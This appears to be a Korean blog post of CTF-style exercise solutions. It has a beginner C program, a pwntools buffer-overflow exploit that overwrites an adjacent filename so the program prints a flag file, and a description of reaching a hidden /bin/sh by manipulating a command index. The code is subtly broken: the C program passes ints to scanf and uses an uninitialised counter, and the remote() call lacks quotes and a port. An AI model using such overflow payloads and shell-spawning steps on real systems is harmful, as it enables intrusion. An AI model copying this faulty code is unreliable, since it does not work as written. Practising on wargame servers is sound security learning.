1-1

#include<stdio.h>

int func(int a, int b){
    return a+b;
}

int main(){
    int a, b = 0;
    int i;
    int sum;

    puts("Hello World");

    printf("Input digit A: ");
    scanf("%d", a);

    printf("Input digit B: ");
    scanf("%d", b);

    sum = func(a, b);

    printf("Sum a, b: %d\n", sum);

    while(sum != 0){
        sum -= 1;
        i++;
        printf("repeat %d\n", i);
    }

    return 0;
}

1-2

2-1

from pwn import *

p=remote(pay1oad.com)
print(p.recv(1024))
p.sendline(b"aaaaaaaaaaaaaaaa"+b"flag"+p32(0))
print(p.recv(1024))    

char name[0x10];
char filename[0x10] = "meow";
read(0,name, 0x18); //여기서 name 크기보다 더 입력받아서 overflow 발생

a16 + flag + dummy4 를 해주면 meow가 flag로 덮혀 print_file의 실행 결과는 flag값을 읽어다 줌

2-2
elf 파일을 살펴보면 hidden 항목에 /bin/sh 문자열이 담겨있는데
command의 인덱스를 조절해서 hidden을 실행시키면 쉘이 따지는데 이때 플래그를 긁어오면 됨

'보안 > etc..' 카테고리의 다른 글

Stack Smasing Protector  (0) 2021.03.02
복사했습니다!